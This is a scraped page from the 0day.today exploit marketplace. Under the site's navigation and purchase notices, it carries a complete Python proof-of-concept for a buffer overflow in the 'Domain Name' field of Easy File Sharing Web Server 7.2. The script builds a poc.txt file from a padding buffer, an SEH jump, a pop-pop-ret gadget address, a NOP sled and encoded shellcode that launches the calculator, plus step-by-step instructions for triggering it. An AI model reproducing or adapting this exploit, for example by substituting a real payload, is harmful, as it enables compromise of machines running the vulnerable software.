0day.today - Biggest Exploit Database in the World.
![](/img/logo_green.jpg)
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earnGOLD
Administration of this site uses the official contacts. Beware of impostors!
![We DO NOT use Telegram or any messengers / social networks!](/img/no_telegram_big.png)
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Easy File Sharing Web Server 7.2 - Domain Name Buffer Overflow Exploit
#--------------------------------------------------------# #Exploit Title: Easy File Sharing Web Server 7.2 - 'Domain Name' Buffer Overflow Exploit #Exploit Author : ZwX #Exploit Date: 2018-09-19 #Vendor Homepage : http://www.sharing-file.com/ #Link Software : http://www.sharing-file.com/efssetup.exe #Tested on OS: Windows 7 #Social: twitter.com/ZwX2a #contact: msk4@live.fr #Website: http://zwx-pentester.fr/ #--------------------------------------------------------# ''' Technical Details & Description: ================================ A local buffer overflow vulnerability has been discovered in the official Easy File Sharing Web Server. The vulnerability allows local attackers to overwrite the registers (example eip) to compromise the local software process. The issue can be exploited by local attackers with system privileges to compromise the affected local computer system. The vulnerability is marked as classic buffer overflow issue. Proof of Concept (PoC): ======================= The local buffer overflow vulnerability can be exploited by local attackers with restricted system user account without user interaction. For security demonstration or to reproduce follow the provided information and steps below to continue. 1.Download and install Easy File Sharing Web Server 2.Run the python operating script that will create a file (poc.txt) 3.Run the software "Click User Account -> Active Directory -> Add Domain -> Domain Name (Input)" 4.Paste the contents of the file (poc.txt) into the input "Domain Name" and click "OK" 5.Now the calculator executes! ''' #!/usr/bin/python from struct import pack buffer = "\x41" * 4059 a = "\xeb\x06\x90\x90" b = pack("<I",0x1001b8c0) #0x1001b8c0 : pop esi # pop ebp # ret calc=("\xdb\xd7\xd9\x74\x24\xf4\xb8\x79\xc4\x64\xb7\x33\xc9\xb1\x38" "\x5d\x83\xc5\x04\x31\x45\x13\x03\x3c\xd7\x86\x42\x42\x3f\xcf" "\xad\xba\xc0\xb0\x24\x5f\xf1\xe2\x53\x14\xa0\x32\x17\x78\x49" "\xb8\x75\x68\xda\xcc\x51\x9f\x6b\x7a\x84\xae\x6c\x4a\x08\x7c" "\xae\xcc\xf4\x7e\xe3\x2e\xc4\xb1\xf6\x2f\x01\xaf\xf9\x62\xda" "\xa4\xa8\x92\x6f\xf8\x70\x92\xbf\x77\xc8\xec\xba\x47\xbd\x46" "\xc4\x97\x6e\xdc\x8e\x0f\x04\xba\x2e\x2e\xc9\xd8\x13\x79\x66" "\x2a\xe7\x78\xae\x62\x08\x4b\x8e\x29\x37\x64\x03\x33\x7f\x42" "\xfc\x46\x8b\xb1\x81\x50\x48\xc8\x5d\xd4\x4d\x6a\x15\x4e\xb6" "\x8b\xfa\x09\x3d\x87\xb7\x5e\x19\x8b\x46\xb2\x11\xb7\xc3\x35" "\xf6\x3e\x97\x11\xd2\x1b\x43\x3b\x43\xc1\x22\x44\x93\xad\x9b" "\xe0\xdf\x5f\xcf\x93\xbd\x35\x0e\x11\xb8\x70\x10\x29\xc3\xd2" "\x79\x18\x48\xbd\xfe\xa5\x9b\xfa\xf1\xef\x86\xaa\x99\xa9\x52" "\xef\xc7\x49\x89\x33\xfe\xc9\x38\xcb\x05\xd1\x48\xce\x42\x55" "\xa0\xa2\xdb\x30\xc6\x11\xdb\x10\xa5\xaf\x7f\xcc\x43\xa1\x1b" "\x9d\xe4\x4e\xb8\x32\x72\xc3\x34\xd0\xe9\x10\x87\x46\x91\x37" "\x8b\x15\x7b\xd2\x2b\xbf\x83") nops = "\x90" * 20 poc = buffer + a + b + nops + calc file = open("poc.txt","w") file.write(poc) file.close() print "POC Created by ZwX" # 0day.today [2024-06-28] #